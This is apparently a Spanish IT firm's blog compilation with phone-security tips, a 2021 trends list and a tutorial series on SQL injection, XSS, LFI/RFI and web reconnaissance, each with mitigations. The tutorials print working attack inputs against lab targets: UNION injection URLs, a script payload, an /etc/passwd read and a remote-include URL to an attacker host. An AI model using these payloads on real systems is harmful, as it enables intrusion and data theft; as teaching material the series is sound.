¿Has perdido el móvil? Protegiendo la seguridad de nuestro móvil

¿Has perdido el móvil? Protegiendo la seguridad de nuestro móvil

Debido a las posibilidades que nos brindan nuestros móviles actuales y a las aplicaciones que tenemos instaladas, podemos acceder cada vez más a información muy sensible. Si por alguna razón esta información cayera en manos de terceros, podríamos ver comprometida gravemente la privacidad de nuestros datos. Por eso, hoy se hace más necesario que nunca, aumentar las precauciones, minimizar los riesgos y saber cómo podemos configurar una buena seguridad de nuestro móvil. En este post os contaremos cómo hacerlo. Y si has perdido el móvil, Clica directamente aquí

Cómo puedo proteger la información en el móvil

Para fortalecer la seguridad de nuestro móvil, es fundamental realizar una serie de acciones previas. Tenemos varios niveles de protección de la información, de forma que en el móvil podemos activar hasta tres capas:

1. Bloqueo del dispositivo

Es la primera capa y la más importante. Se trata de proteger y bloquear el dispositivo con una contraseña, patrón o biometría (una identificación automática de los individuos en función de sus características biológicas). De esta manera se evita que terceras personas puedan acceder a la información o a las aplicaciones contenidas en el dispositivo. Es especialmente relevante para el caso de pérdida o robo el bloqueo remoto del dispositivo, en el que puedes incluir un mensaje en la pantalla de bloqueo. Si se trata de pérdida, y damos con una persona bienintencionada, facilitará las cosas.

2. Bloqueo de aplicaciones

Muchos teléfonos móviles permiten crear una capa específica para bloquear aplicaciones. Esta capa adicional se consigue al solicitar una contraseña de acceso a determinadas aplicaciones, que será diferente a la que usamos previamente para bloquear el dispositivo. Existen aplicaciones específicas en el mercado que permiten configurar cualquier App instalada, como es el caso de WhatsApp, que permite activar este tipo de protección de manera nativa en su versión para iOS.

contraseña apps

3. Añadir una capa al inicio de sesión de una aplicación

Salvo contadas excepciones, como sucede con las aplicaciones bancarias, la mayoría de las aplicaciones solo solicitan un usuario y una contraseña. Por eso, siempre que el servicio lo permita, debemos activar el doble factor de autenticación. Es decir, añadir una verificación en dos pasos, que nos permite colocar una capa más en la seguridad.

También en cuestiones de seguridad con el móvil es muy importante tener en cuenta el almacenamiento de la información dentro del dispositivo. Es una buena idea realizar regularmente copias de seguridad o llevar a los servicios de nube los datos almacenados. Igualmente importante es no guardar en el móvil fotos de contraseñas, tarjetas bancarias, carnet de conducir o documentos de identidad.

¿Qué hacer ante la pérdida del móvil?

En caso de tener el infortunio de perder el móvil se pueden utilizar funcionalidades como “Encontrar mi dispositivo” de Google o “Buscar mi iPhone” de Apple, que permiten localizar y restaurar los dispositivos, bloquearlos e incluso borrar los datos más sensibles de forma remota. Para ello, se ha debido habilitar el móvil previamente. La seguridad de nuestro móvil antes de que suceda nada, resulta pues fundamental para reducir riesgos en los casos de pérdida o sustracción del dispositivo. Por ejemplo, se debe guardar el código IMEI en un sitio seguro e independiente, pues este código permite identificar inequívocamente los dispositivos. Sirve para hablar con tu fabricante si la garantía o seguro protege de la pérdida a o, en casos más graves, cuando se quiere denunciar el robo a las autoridades.

ladrón móvil

¿Qué hacer ante un robo del móvil?

En el caso de robo, hay que saber actuar rápidamente, ya que el tiempo se convierte en una variable relevante para tratar de recuperarlo y minimizar los daños. Antes de empezar las acciones con terceros debemos realizar dos pasos previos:

  1. Tratar de localizar el dispositivo para verificar que realmente se trata de un robo o una pérdida.
  2. Cambiar las contraseñas de las aplicaciones que estuvieran iniciadas en el dispositivo. De esta forma, si quisieran acceder a las aplicaciones, les volverán a pedir el usuario y la contraseña.

Después, seguiremos los siguientes pasos:

  1. Denunciar el robo ante las autoridades y seguir sus instrucciones
  2. Considerar la opción de borrar los datos y restaurar de fabrica el dispositivo mediante las aplicaciones de “Encontrar mi dispositivo” de Google o “Buscar mi iPhone” de Apple, ya mencionadas. Esto solo será posible si el móvil tiene conexión con internet.
  3. Llamar a la operadora de telefonía para bloquear la línea y evitar que el dispositivo acceda a internet o realice llamadas. Reactivar la línea implicará un duplicado de tarjeta y tiene un coste asociado, por lo que se solo se recomienda en el caso de estar seguros de que no se va a recuperar el teléfono.

Los dispositivos móviles se consideran un bien muy preciado, no solo por la información que contienen si no también, en muchos casos, por el propio valor del dispositivo. Por ello hay que extremar las precauciones de seguridad física que prevén un robo. Por ejemplo, hay que evitar dejarlo encima de la mesa en restaurantes, bares o terrazas. Además, no debemos llevarlo en el bolsillo trasero de los pantalones y trataremos de no guardarlo en mochilas o bolsos que no estén lo suficientemente protegidos. Si somos un poco precavidos, conseguiremos una mayor seguridad de nuestro móvil.

 

8 tendencias de Ciberseguridad en 2021

8 tendencias de Ciberseguridad en 2021

La ciberseguridad es la práctica de defender las computadoras, los servidores, los dispositivos móviles, las redes y los datos de ataques maliciosos en el mundo digital. Dado que cada vez se producen más filtraciones y aparece más información expuesta en el mundo; la inversión en ciberseguridad es cada vez mayor y seguirá creciendo los próximos años. Hoy te contamos ocho tendencias de ciberseguridad que están definiendo 2021.

Actualmente las ciberamenazas mundiales se desarrollan a un ritmo muy rápido, con una cantidad cada vez mayor de filtraciones de datos cada año. En un reciente informe se reveló que unos alarmantes 7.900 millones de registros fueron expuestos solo en los primeros meses del 2020. Esta cifra es más del doble (112%) de la cantidad de registros expuestos en el mismo periodo en el 2019. Los servicios médicos, los minoristas y las entidades públicas fueron los que sufrieron más filtraciones de los delincuentes digitales. Algunos sectores son más atractivos para los cibercriminales… Sobre todo, aquellos en donde se pueden recopilar datos médicos y financieros. Pero potencialmente todas las empresas que utilizan las Internet pueden ser atacadas para robar datos de los clientes o hacer espionaje corporativo.

Con la extensión de las ciberamenazas en constante aumento, la Corporación Internacional de Datos predice que el gasto mundial en soluciones de ciberseguridad alcanzará la impresionante cifra de 133.700 millones de dólares para el año 2022.

8 tendencias de ciberseguridad en 2021

Según diversos estudios e informes, la mayoría de los ataques cibernéticos afectan a la seguridad de la red. Es el elemento central que permite orquestar y sustentar la seguridad global de las organizaciones. Mostramos a continuación las 8 principales tendencias que han destacado durante este año en el panorama de la ciberseguridad:

1. Identificación de vulnerabilidades.

A medida que el perímetro de la red continúa expandiéndose, la infraestructura de los servicios migra a la nube y cada vez se usa más el aprendizaje automático y la inteligencia artificial. Por lo tanto, es fundamental evaluar los riesgos para definir el nivel de exposición en una organización y determinar los objetivos de seguridad adecuados.

2. Foco en las amenazas internas- “Zero Trust”.

Más del 30% de las brechas de seguridad se originan dentro de las mismas organizaciones. El enfoque “Zero Trust” se basa en asumir que las amenazas (intencionadas o no) vienen tanto desde dentro como desde fuera de la red. Se trata de un modelo de seguridad que requiere verificación de identidad para cada persona y dispositivo que intente acceder a los recursos de una red privada.

3. Invertir en análisis de datos de red.

El 61% de los responsables de redes son conscientes de que es muy difícil hacer un seguimiento adecuado a todos los dispositivos que están conectados a una red. Para atacar este problema, el análisis de información de la red está evolucionando desde un enfoque descriptivo a otro más predictivo y prescriptivo, capaz de proporcionar la información necesaria para actuar proactivamente.

4. Control férreo sobre quién y qué se conecta a la red.

El planteamiento binario de “estar dentro o fuera” se quedará cada vez más obsoleto. Será remplazado por la implementación de políticas granulares (usuario, tipo de dispositivo, ubicación, hora del día, tipo de conexión, etc.) diseñadas específicamente según las características de cada negocio.

5. Contención y aislamiento de ciberatacantes.

La segmentación y el aislamiento de la red es uno de los aspectos más descuidados en la estrategia de seguridad de las organizaciones. Según los últimos estudios, solo un 1% de las empresas tenía una estrategia de segmentación en el 2019. Para el 2023 se espera un aumento del 30%.

6. Creciente importancia de la privacidad de los datos.

Las empresas han invertido casi 9.000 millones de euros en adoptar las políticas de privacidad conforme al RGPD (Reglamento General de Protección de Datos). Esto demuestra la importancia de estas regulaciones para organizaciones que operen en Europa. Mantener la gobernanza bajo control es clave para el cumplimiento de esta norma y evitar multas como los 57.000 millones de dólares pagados por Google en el 2019.

7. Riesgos del Internet de las cosas y del 5G.

El número de dispositivos IoT en el mundo alcanzó los 20.000 millones en el 2020. Según los expertos, se necesitan apenas 3 minutos para hackear un dispositivo de IoT y 6 meses para descubrir la brecha. La llegada del 5G agudizará el problema, ya que fomentará la utilización de estos dispositivos en localizaciones exteriores.

8. Inteligencia Artificial y Aprendizaje Automático.

Según se estima, para el 2024 la inteligencia artificial será parte integrante de todas las actividades de negocio. Al menos el 90% de las aplicaciones corporativas utilizarán inteligencia artificial. Pero hay que tener en cuenta que los ciberdelincuentes se basan precisamente en la inteligencia artificial para realizar sus ataques más sofisticados y difíciles de contener.

Conclusión

Los problemas con la seguridad de la red seguirán aumentando en el futuro, a medida que aumente la conectividad, la movilidad y el uso de la nube. Los que ya hemos visto este año han afectado principalmente a grandes empresas y organizaciones. Son una clara evidencia de que las reglas de juego en lo digital están cambiando. Las tendencias de ciberseguridad de 2021 señalan un ascenso de los riesgos, con más posibilidades para los atacantes, pero también una mayor inversión en políticas de protección.

Si quieres consultar con un experto en ciberseguridad para empresas de Extra Software puedes ampliar información y contactar en este enlace.

Vulnerabilidades en páginas Web (y 5): SQL Injection

Vulnerabilidades en páginas Web (y 5): SQL Injection

Este artículo es el último de la serie sobre vulnerabilidades en páginas Web. En artículos anteriores hemos visto las vulnerabilidades Command Injection, LFI (Local File Inlcusion) y RFI (Remote File Inclusion), XSS (Cross Site Scripting) y reconocimiento WEB. En el dedicado a la vulnerabilidad XSS, veíamos cómo los atacantes podían inyectar código malicioso usando JavaScript, que es un lenguaje del lado del cliente; por lo tanto, el código se ejecuta en el navegador del usuario. La vulnerabilidad que vamos a ver hoy también es de inyección de código, pero en este caso del lado del servidor, concretamente del servicio de base de datos sobre la que se almacena la información de la página Web. Si un atacante consigue acceso a esta base de datos, puede realizar acciones realmente peligrosas.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

CONTENIDOS

¿QUÉ ES SQL INJECTION?

¿CÓMO FUNCIONA SQL INJECTION?

EJEMPLO DE SQL INJECTION

SOLUCIÓN

CONCLUSIÓN

La explotación exitosa de una inyección SQL puede ser devastadora para una organización y es una de las vulnerabilidades de las aplicaciones web más comúnmente explotadas.

¿Qué es SQL Injection?

Ante la necesidad de usar contenido dinámico en las aplicaciones Web actuales, muchas dependen de una base de datos para almacenar datos que serán solicitados y procesados por la aplicación Web. Las aplicaciones Web realizan consultas sobre estas bases de datos para acceder a los datos almacenados en ellas, para realizar estas consultas se utiliza un lenguaje de consultas estructurado o SQL (Structured Query Language).

Para entenderlo mejor vamos a ver un ejemplo. Nos han hecho una página Web para nuestra empresa en la que tenemos una zona privada que para acceder es necesario introducir un nombre de usuario y una contraseña, esta página Web almacena los datos de inicio de sesión en una base de datos llamada “Empresa”.

La aplicación Web hará una consulta para extraer los datos de la base de datos para mostrarlos. Para realizar esta consulta se utilizará la instrucción SELECT. Con ella, una vez localizada la base de datos y tabla que le interesa, puede filtrar los datos para que muestre algunos registros, por ejemplo, los registros de la tabla Usuarios donde la columna id sea igual a 1. Para ello se usará también la cláusula WHERE. Así quedaría la instrucción:

  • SELECT * from Usuarios WHERE id = 1;

Ahora que sabemos lo que es una consulta SQL vamos a ver como los atacantes utilizan SQL injection.

¿Cómo funciona SQL Injection?

Un ataque de Inyección SQL se produce cuando un valor en la solicitud del cliente se utiliza dentro de una consulta de SQL sin un saneamiento previo. Si como desarrolladores Web no hemos saneado el código y confiamos en los datos proporcionados por los usuarios, los atacantes pueden extraer información oculta de las bases de datos o tomar el control del servidor.

Por ejemplo, si la consulta anterior donde estábamos consultando el registro con el id 1 se realiza en una página Web para mostrar los datos de los usuarios, le indicamos que queremos que nos ordene la salida de los datos por la columna número 10.

Como vemos nos indica que la columna 10 es desconocida. La columna 10 es evidente que no existe ya que solo tenemos 4, pero a los atacantes les interesa saber cuál es el número de columnas que hay en tabla. Si lo ordenamos por 4 ya se nos muestran los datos:

El atacante una vez que sabe el número de columnas que tiene la tabla a la que estamos consultando va a hacer una consulta de 4 columnas uniéndola a la consulta actual mediante la cláusula UNION:

SELECT * from Usuarios where id = 1 UNION SELECT 1,2,3,4;– -;

Ahora por cada columna se nos ha agregado una etiqueta numérica. Nosotros como atacantes nos podremos aprovechar de estas etiquetas para poner sentencias de SQL y que nos las muestre. Por ejemplo, con database() sabremos qué base de datos está en uso por el servicio Web

SELECT * from Usuarios WHERE id = 1 UNION SELECT 1,database(),3,4;– -;

Mediante la unión de consultas hemos conseguido saber cuál es la base de datos que está en uso, mediante esta técnica podríamos extraer toda la información de todas las bases de datos alojadas en el servidor.

Ejemplo de SQL Injection

Este tipo de Inyección SQL la podemos considerar como Error-Based (basada en error). Nos vamos a aprovechar del propio error que se nos va a mostrar en la página Web para listar información privilegiada de la base de datos.

Tenemos un cuadro de texto de una página web en el que escribimos nuestro nombre de usuario y contraseña y al ejecutarlo nos aparecen los detalles de nuestra cuenta en la página. Para ello nos hemos creado antes una cuenta en esa aplicación web. El nombre de usuario es ‘extra’ y la contraseña ‘password123’

Vemos que la dirección Web o URL que se nos genera es la siguiente:

http://10.17.20.71/mutillidae/index.php?page=userinfo.php&username=extra&password=password123&user-info-php-submitbutton=View+Account+Details

Nosotros como atacantes podemos intuir que los parámetros username y password (que hemos destacado en negrita) forman parte del SELECT de la consulta que se le está haciendo a la base de datos. Como no sabemos el número de columnas que tiene y es necesario para usar la unión de consultas, vamos a ordenar por la columna número 10. Al reproducir la URL, vamos a destacar en rojo la parte del código que está inyectado, para mayor claridad. (Al final del código inyectado, hemos puesto un comentario de línea usando los siguientes caracteres (– -). Esto se utiliza para que el código inyectado no aplique a lo que va a continuación).

http://10.17.20.71/mutillidae/index.php?page=user-info.php&username=extra’ order by 10– –&password=password123&user-info-php-submitbutton=View+Account+Details

Vemos que nos aparece el mismo error que por consola donde nos indica que no existe esta columna y no puede ordenar por ella. Le hacemos la misma consulta, pero ordenando por 5 columnas y ya no nos devuelve el error por lo que sabemos que hay 5 columnas:

17.20.71/mutillidae/index.php?page=user-info.php&username=extra’order by 5– – &password=password123&user-info-php-submit-button=View+Account+Details

Ahora hacemos una unión con 5 columnas y vemos que nos las muestra poniendo los números debajo, en este caso las columnas visibles son la 2,3 y 4:

http://10.17.20.71/mutillidae/index.php?page=user-info.php&username=extra’ union select 1,2,3,4,5– –&password=password123&user-info-php-submitbutton=View+Account+Details

Ahora sabemos que si ponemos una función de SQL en los espacios donde tenemos los números 2,3 o 4 nos aparecerá por pantalla el resultado de esa función o instrucción. Para llevar a cabo el ataque, donde pone el 2 le ponemos la sentencia database() nos mostrará la base de datos que está actualmente en uso que es owasp10.

http://10.17.20.71/mutillidae/index.php?page=user-info.php&username=extra’ union select 1,database(),3,4,5–&password=password123&user-info-php-submitbutton=View+Account+Details

De la misma forma podríamos poner la sentencia user() para que nos muestre el usuario que está corriendo el servicio:

También podríamos hacer más cosas como leer ficheros locales del equipo, extraer toda la información de la base de datos e incluso modificarla.

Solución

Muchas veces se intentan prevenir este tipo de vulnerabilidades usando filtros. Los filtros pueden hacer que parezca que no hay vulnerabilidades, pero son algo que el atacante puede saltarse.

Algunos programadores también usan una lista negra, por ejemplo, prohíben el uso de UNION, INSERT o sentencias del estilo. De nuevo esto no es 100% efectivo. Otros usan una lista blanca en vez de negra, ….

La mejor manera de evitar SQL Injection es programar la aplicación Web de manera que no permita hacerlas. Una forma sería crear una declaración parametrizada donde los datos y el código estén separados. Luego podemos usar los filtros como segunda línea de defensa. Y también es recomendable usar los menos privilegios posibles para el usuario y usar un usuario por cada base de datos.

Conclusión

En el artículo hemos visto la vulnerabilidad SQL Injection. Como hemos explicado, esta vulnerabilidad se aprovecha de las peticiones que hace la página o aplicación Web a su backend de base de datos.

En el ejemplo hemos visto una vulnerabilidad basada en error, pero hay otros tipos como las basadas en tiempo, en este caso la página Web no devuelve ningún error y se utilizan condiciones basadas en tiempo.

Como siempre, os hemos dejado finalmente unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

Vulnerabilidades en páginas web (4): XSS o Cross-Site Scripting

Vulnerabilidades en páginas web (4): XSS o Cross-Site Scripting

En artículos anteriores hemos visto las vulnerabilidades de Command Injection, como hacer un reconocimiento a una página Web y también las técnicas LFI (Local File Inclusion) y RFI (Remote File Inclusion). Hoy es el turno de uno de los tipos de vulnerabilidades más comunes, las conocidas como XSS (Cross-Site Scripting).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE XSS O CROSS SITE SCRIPTING REFLEJADO

EJEMPLO DE XSS O CROSS-SITE SCRIPTING PERSISTENTE

SOLUCIÓN PARA LA VULNERABILIDAD XSS

CONCLUSIÓN

¿Qué es?

Es una vulnerabilidad que permite a un atacante inyectar código JavaScript en una página de un sitio Web. Como JavaScript es un lenguaje que se ejecuta en el navegador del cliente, cuando ejecutamos este código lo estamos haciendo en el cliente del usuario. El sitio Web solo hace de herramienta para ejecutar código hacia los usuarios que navegan por él.

Hay varios tipos de vulnerabilidades XSS diferenciadas, los más conocidos son los siguientes:

  • XSS Persistente o almacenado: se almacena en la base de datos. Por lo tanto, el código que insertemos se almacenará en la base de datos o en la página, de modo que cada vez que una persona vea esa página se ejecutará el código.
  • XSS Reflejado: el código solo se ejecutará cuando el usuario objetivo ejecute una URL específica creada o escrita por el atacante. El atacante manipulará una URL que le enviará a su objetivo y cuando el objetivo ejecute o abra esa URL se le ejecutará el código.

Ejemplo de XSS o Cross Site Scripting Reflejado

Tenemos la siguiente página Web donde tenemos un cuadro de texto en el que escribimos nuestro nombre y al ejecutarlo nos aparece escrito en la página la palabra “hello” y el texto que hemos introducido en el formulario.

http://10.0.2.4/dvwa/vulnerabilities/xss_r/

Si escribimos nuestro nombre y pulsamos en Submit podemos ver el resultado:

Si vemos la URL resultante podemos comprobar que es un GET, por lo tanto, también podría ser inyectable, al igual que podría serlo el cuadro de texto:

Para comprobar si la Web puede ser vulnerable a XSS vamos a intentar ejecutar código a través del formulario. Lo vamos a hacer usando la etiqueta <script>, que indica que el contenido dentro de esta etiqueta es código JavaScript. En este caso probamos a incluir la función alert que nos muestra en un mensaje por pantalla el texto que le pasemos como parámetro. El texto que le pasamos es XSS.

El código que vamos a introducir quedará de esta forma:

<script>alert(‘XSS’)</script>

Cuando pulsamos en Submit vemos que nuestro código se ejecuta. Sabemos que la página Web es vulnerable a XSS porque está interpretando el código que le estamos pasando:

Si echamos un vistazo a la URL vemos que podemos hacer lo mismo en ella a través del parámetro “name”:

Si ahora enviamos esa URL a un tercero, se ejecutará en su navegador el código JavaScript que hayamos puesto.

Con el código del ejemplo no correríamos ningún riesgo, pero existen códigos más peligrosos. Utilizados conjuntamente con herramientas específicas, nos pueden llegar a realizar un secuestro del navegador y como resultado ser víctimas de ataques más peligrosos.

Ejemplo de XSS o Cross-Site Scripting Persistente

En el XSS almacenado o persistente el código se almacenará en la base de datos o en la página Web. Por tanto, cada vez que una persona acceda a esa página se le ejecutará el código en su navegador. Como no necesitamos interactuar con los usuarios o enviarles nada, es más peligroso que el XSS Reflejado.

Vamos a ver un ejemplo:

Esta página que se muestra aquí nos permite escribir un mensaje o una reseña que acabará reflejada en la misma página, puede ser una reseña de un producto o un mensaje en un foro:

XSS_7

Rellenamos el formulario con un simple comentario y vemos que nos lo muestra:

XSS_7

Ahora cada persona que visite esta página verá el comentario. Entonces si conseguimos insertar código JavaScript se ejecutará a cada persona que se conecte. Volvemos a rellenar el formulario pero esta vez en el cuerpo del mensaje pondremos un código JavaScript con una función alert()

XSS_7

Lo agregamos y vemos que cada vez que se visita la página se ejecuta el código:

XSS_7

Solución para la vulnerabilidad XSS

La forma en que ocurren estas vulnerabilidades es porque cada vez que un usuario ingresa algo en un cuadro de texto (textbox) o en un parámetro, esa entrada se muestra en el HTML. Dado que trata como si fuera una parte de la página, si contiene JavaScript, el código será ejecutado.

Para evitar esta vulnerabilidad, lo mejor que podemos hacer es intentar minimizar el uso de entradas no confiables. Tenemos que asegurarnos que el código que nos intenten inyectar se convierta a un equivalente de string en HTML y no se ejecute.

Un ejemplo de equivalencias a string o cadena de caracteres de algunos de los caracteres usados para inyectar código es el siguiente:

XSS_7

Como usuario, para evitar ser víctima en un ataque de tipo XSS, hay que tener cuidado de no caer en un engaño de este tipo. Si una página nos notifica que necesitamos una actualización, hay que verificar si es cierto en la página oficial del producto.

Siempre hay que tener cuidado con las notificaciones emergentes que nos dicen que tenemos que realizar acciones. Lo prudente es no confiar en ellas.

Conclusión

En el artículo hemos visto la vulnerabilidad XSS o Cross-site Scripting, que es una de las más comunes. Como hemos explicado, esta vulnerabilidad no afecta tanto a la Web o el servidor donde está alojada, sino que sirve de vínculo para llegar a los usuarios que la visitan, que son las verdaderas víctimas.

Si nos llegan a realizar un secuestro del navegador mediante esta técnica, el atacante puede usar estrategias de ingeniería social. De este modo, nos hará creer que es necesario instalar una extensión o plugin de navegador, o bien actualizar uno que haya caducado. El objetivo es instalarnos algún programa espía o software que le permita controlar nuestro equipo.

Finalmente, hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

Vulnerabilidades en páginas Web (3): LFI y RFI

Vulnerabilidades en páginas Web (3): LFI y RFI

Siguiendo con la serie de artículos de vulnerabilidades en páginas Web, dónde ya hemos visto la vulnerabilidad de Command Injection y el Reconocimiento Web, hoy vamos a ver en qué consisten las vulnerabilidades LFI (Local File Inclusion) y RFI (Remote File Inclusion).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE LOCAL FILE INCLUSION

EJEMPLO DE REMOTE FILE INCLUSION

SOLUCIÓN

CONCLUSIÓN

¿Qué es?

Las vulnerabilidades LFI (Local File Inclusion o inclusión de archivos locales) son vulnerabilidades que permiten leer cualquier archivo que se encuentre dentro del mismo servidor, incluso si el archivo se encuentra fuera del directorio web donde está alojada la página.

Las vulnerabilidades RFI (Remote File Inlcusion o inclusión de archivos remotos) son similares a las vulnerabilidades LFI, pero en este caso en vez de acceder a un archivo local, accederemos a un archivo ubicado en un servidor diferente.

Vamos a ver un ejemplo de cada una de ellas para entenderlas mejor.

Ejemplo de LFI (Local File Inclusion)

Tenemos una web con una página principal llamada index.php (elaborada en PHP), que carga el contenido de otras páginas, las cuales le pasamos mediante un parámetro a la URL. La idea es que se va a mostrar por pantalla un archivo que estamos referenciando desde la variable $page que se almacenará en la variable $pagina y a la función include le pasaremos la variable $pagina para que nos la cargue y muestre por pantalla:

EjemploLFI1

A continuación, creamos las dos páginas que vamos a incluir, primero una página de inicio llamada inicio.html con el siguiente contenido:

EjemploLFI2

Y una página de contacto, llamada contacto.html, con el siguiente contenido:

EjemploLFI3

Ahora cargamos la página de inicio en nuestro navegador mediante la siguiente URL:

http://127.0.0.1/web/index.php?page=inicio.html

EjemploLFI4

Si ahora pulsamos sobre el enlace Contacto, nos carga la página contacto.html

EjemploLFI5

Si nos fijamos, nos carga la página que le pasamos como valor a la variable page. En este caso, como atacantes podemos pensar que es muy posible que esta Web sea vulnerable a LFI y podemos acceder a ficheros locales que estén fuera del directorio Web.

Por ejemplo, supongamos que hemos realizado un reconocimiento Web de la página y sabemos que el servidor donde está alojada es un equipo Linux. Nosotros sabemos que, en Linux, dentro del fichero /etc/passwd se guarda la lista de los usuarios locales del sistema. Vamos a ver qué pasa si modificamos la URL y en vez de pasarle a la variable $page los ficheros inicio.html y contacto.html, que están dentro del directorio de la Web, le pasamos el fichero del equipo /etc/passwd que está fuera de este directorio. La URL sería la siguiente:

http://127.0.0.1/web/index.php?page=/etc/passwd

Vemos como hemos conseguido cargar este fichero y por lo tanto la Web es vulnerable a LFI:

EjemploLFI6

Ejemplo de RFI (Remote File Inclusion)

En este caso la vulnerabilidad sería igual, pero cargando el fichero desde otro servidor. Esta vez la técnica se vuelve más peligrosa debido a que, como atacantes, podemos levantar un servidor Web y hacer que se ejecute en el equipo víctima un fichero que hemos alojado en este servidor, de forma que nos permita ganar acceso al equipo donde está alojada la Web.

Un ejemplo de la URL que se puede usar sería la siguiente:

http://127.0.0.1/web/index.php?page=http://direccion_equipo_atacante/fichero_malicioso

Solución

Para solucionar este tipo de vulnerabilidades nos tenemos que asegurar de que no se puedan incluir archivos remotos, esto lo podemos hacer en el servidor Web deshabilitando en el fichero de configuración de PHP llamado php.ini los parámetros allow_url_fopen y allow_url_include.

SolucionLFI1
  • allow_url_fopen: Permite tratar las URLs como archivos. Si está habilitada tendremos una vulnerabilidad LFI.
  • allow_url_include: Permite hacer llamadas include/require a URLs como archivos. Si está habilitada junto con la anterior tendremos una vulnerabilidad LFI y RFI.

También tendremos que evitar que el código pueda incluir una variable para cargar una página. El código que hemos venido usando se vería así:

SolucionLFI1

De esta manera, el usuario podrá jugar con la variable $page y cargar páginas. Lo que debemos hacer es poner en el include directamente la página que queremos cargar sin incluir una variable con GET o POST:

SolucionLFI3

En sistemas gestores de contenidos o CMS siempre es importante mantener el propio CMS y los plugins o componentes actualizados para corregir las vulnerabilidades corregidas por el fabricante.

Conclusión

Como hemos visto, tanto el LFI como el RFI son vulnerabilidades muy peligrosas que ponen en riesgo la integridad de nuestra página Web e incluso pueden llegar a comprometer por completo nuestro servidor Web. Dependiendo de donde esté alojado, pueden incluso acceder a otras redes internas que no están expuestas directamente a Internet.

Finalmente, en el apartado Solución os hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

Vulnerabilidades en páginas Web (2): Reconocimiento Web

Vulnerabilidades en páginas Web (2): Reconocimiento Web

En el artículo anterior vimos cómo son las vulnerabilidades que aprovecha la técnica de Command Injection, en el ejemplo dijimos que el equipo donde estaba alojada la Web era un equipo Linux, pero… ¿Cómo podemos saber si el equipo donde está alojada o almacenada una Web es Linux, Windows u otro? Ahí es donde entra en juego una de las técnicas más importantes que un ciberdelicuente lleva a cabo, el Reconocimiento Web.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software

CONTENIDOS

¿QUÉ ES?
EJEMPLO DE RECONOCIMIENTO WEB
RECONOCIMIENTO WEB SOBRE GESTORES DE CONTENIDOS
EJEMPLO DE RECONOCIMIENTO CON USO DE FUERZA BRUTA
SOLUCIÓN O MITIGACIÓN ANTE LAS TÉCNICAS DE RECONOCIMIENTO WEB
CONCLUSIÓN

¿Qué es?

El reconocimiento es una serie de técnicas que se realizan para recabar información sobre la víctima: página Web, sistema operativo, fuga de datos, datos públicos, etc.

Esta fase de reconocimiento es imprescindible para el atacante ya que le brinda información que le puede servir para realizar un ataque más efectivo.

En el artículo nos centraremos en el reconocimiento de la página Web.

Ejemplo de reconocimiento Web

Siguiendo con el ejemplo del artículo anterior, sabemos que nuestro objetivo tiene una página Web, en este punto al atacante le interesaría obtener información sobre la tecnología con la que se ha realizado la Web, bajo que servidor está corriendo o que lenguaje de programación se ha utilizado.

Hay herramientas que nos pueden ayudar a extraer la mayoría de la información que hemos mencionado. Una de estas herramientas es WHATWEB.

Ejecutamos la herramienta WHATWEB y vemos en la siguiente imagen la información que es capaz de obtener:

  • Servidor Web sobre el que está corriendo la página y su versión: Apache 2.2.8
  • Sistema operativo del equipo donde está almacenada la página: Linux Ubuntu
  • Versión del lenguaje de programación PHP en el que está desarrollada la página: 5.2.4
whatweb

Nosotros ahora como atacantes podríamos hacer una simple búsqueda en Google para encontrar posibles vulnerabilidades relacionadas con la información que hemos obtenido, por ejemplo, vulnerabilidades que puedan afectar al servidor Web Apache 2.2.8.

Busqueda apache

También existen plugins para el navegador que nos permiten realizar este primer reconocimiento. Uno de los más conocidos es Wappalyzer que lo podemos instalar tanto en Chrome como en Firefox. Vemos un ejemplo de la información extraida con Wappalyzer en la siguiente imagen.

 

wappalyzer

Reconocimiento Web sobre Gestores de Contenidos

Si descubrimos que nuestra Web está realizada mediante un CMS o gestor de contenidos como puede ser WordPress, Joomla o Drupal, podemos usar herramientas ya existentes para realizar una enumeración sobre ellos.

Por ejemplo, en cuanto a WordPress la herramienta más conocida es WPScan, para Joomla tenemos Joomscan y para Drupal, Drupscan.

Centrándonos en WordPress por ser el CMS más usado, la herramienta WPScan nos permitiría entre otras cosas:

  • Hacer fuerza bruta contra el login de WordPress mediante usuarios y/o contraseñas aleatorios.
  • Enumerar todos los plugins que tenga vulnerables el gestor de contenidos.
  • Enumerar los usuarios existentes.
  • Obtener información sobre la Web.

Es importante saber que, aunque el gestor de contenidos esté actualizado podemos encontrar una vulnerabilidad en alguno de los plugins instalados e igualmente comprometer la página Web.

Un ejemplo de uso de WPScan sería el siguiente:

  • wpscan –url http://www.dominio.com -e vp,u
    • Con –url le indicamos la dirección de la página Web que queremos auditar
    • Con -e le indicamos que nos enumere la información de la página, en este caso le estamos indicando que nos enumere los plugins vulnerables con vn (vulnerable plugins) y los usuarios con u (users)
ping root

Como hemos visto, cada gestor de contenidos se puede enumerar con herramientas que atienden a estos gestores de contenidos, luego también existen herramientas genéricas que nos pueden servir para enumerar cualquier página Web, como por ejemplo Nikto, que es un escáner de vulnerabilidades Web que podemos usar contra cualquier tipo de página.

Ejemplo de reconocimiento con uso de fuerza bruta

Otra táctica en la enumeración o reconocimiento de la página Web es hacer fuerza bruta sobre los archivos o directorios de la página para intentar descubrir directorios o ficheros ocultos. A esta técnica se le conoce como Fuzing

Por ejemplo, sabemos que nuestra página es accesible a través de la URL http://10.0.2.4/dvwa/, detrás de esa URL pueden existir directorios que no están enlazados desde la propia página, pero si los conoces puedas llegar a ellos.

Un ejemplo lo tenemos en las páginas realizadas con WordPress que tienen un directorio para acceder al panel de administración de la página localizado en http://www.dominio.com/wp-admin/.

Para intentar descubrir estos directorios ocultos se utiliza un fichero llamado comúnmente diccionario, donde por cada línea hay una serie de nombres de directorios que les podemos pasar a una herramienta o incluso a un script hecho por nosotros y que vaya probando si existen cada uno de esos directorios y que nos reporte por pantalla o en un fichero los que encuentre.

